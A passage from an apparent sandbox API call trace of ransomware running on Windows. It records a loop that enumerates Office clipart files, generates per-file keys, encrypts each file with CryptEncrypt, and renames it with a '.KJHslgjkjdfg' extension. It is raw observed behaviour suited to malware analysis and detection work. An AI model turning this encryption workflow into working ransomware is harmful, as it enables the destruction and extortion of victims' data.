lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.149] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.149] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.149] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x80c, lpOverlapped=0x0) returned 1 [0180.149] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810, dwBufLen=0x810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x810, lpOverlapped=0x0) returned 1 [0180.149] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.150] SetEndOfFile (hFile=0x114) returned 1 [0180.152] GetProcessHeap () returned 0x2a0000 [0180.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.152] GetProcessHeap () returned 0x2a0000 [0180.152] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.kjhslgjkjdfg")) returned 1 [0180.154] CloseHandle (hObject=0x114) returned 1 [0180.154] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0180.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.155] GetProcessHeap () returned 0x2a0000 [0180.155] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.155] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.157] GetProcessHeap () returned 0x2a0000 [0180.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.158] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.158] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.158] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.158] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.158] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.158] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.158] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d4a, lpOverlapped=0x0) returned 1 [0180.159] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d50) returned 1 [0180.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.159] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d50, lpOverlapped=0x0) returned 1 [0180.160] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.160] SetEndOfFile (hFile=0x114) returned 1 [0180.163] GetProcessHeap () returned 0x2a0000 [0180.163] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.163] GetProcessHeap () returned 0x2a0000 [0180.163] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.kjhslgjkjdfg")) returned 1 [0180.165] CloseHandle (hObject=0x114) returned 1 [0180.165] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0180.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.167] GetProcessHeap () returned 0x2a0000 [0180.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.167] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.167] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.170] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.170] GetProcessHeap () returned 0x2a0000 [0180.170] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.170] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.170] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.170] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.170] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.171] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa5c, lpOverlapped=0x0) returned 1 [0180.171] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa60, dwBufLen=0xa60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa60) returned 1 [0180.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.171] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa60, lpOverlapped=0x0) returned 1 [0180.171] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.171] SetEndOfFile (hFile=0x114) returned 1 [0180.174] GetProcessHeap () returned 0x2a0000 [0180.174] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.174] GetProcessHeap () returned 0x2a0000 [0180.174] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.kjhslgjkjdfg")) returned 1 [0180.175] CloseHandle (hObject=0x114) returned 1 [0180.175] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0180.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.177] GetProcessHeap () returned 0x2a0000 [0180.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.177] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.177] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.177] GetProcessHeap () returned 0x2a0000 [0180.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.177] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.182] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.182] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.183] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.183] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.183] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.183] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.183] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf00, lpOverlapped=0x0) returned 1 [0180.183] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00, dwBufLen=0xf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00) returned 1 [0180.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.183] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf00, lpOverlapped=0x0) returned 1 [0180.183] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.183] SetEndOfFile (hFile=0x114) returned 1 [0180.186] GetProcessHeap () returned 0x2a0000 [0180.186] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.186] GetProcessHeap () returned 0x2a0000 [0180.186] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.kjhslgjkjdfg")) returned 1 [0180.188] CloseHandle (hObject=0x114) returned 1 [0180.188] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.190] GetProcessHeap () returned 0x2a0000 [0180.190] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.190] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.192] GetProcessHeap () returned 0x2a0000 [0180.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.192] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.192] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.193] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.193] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7cb6, lpOverlapped=0x0) returned 1 [0180.194] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7cc0, dwBufLen=0x7cc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7cc0) returned 1 [0180.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.195] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x290f270, 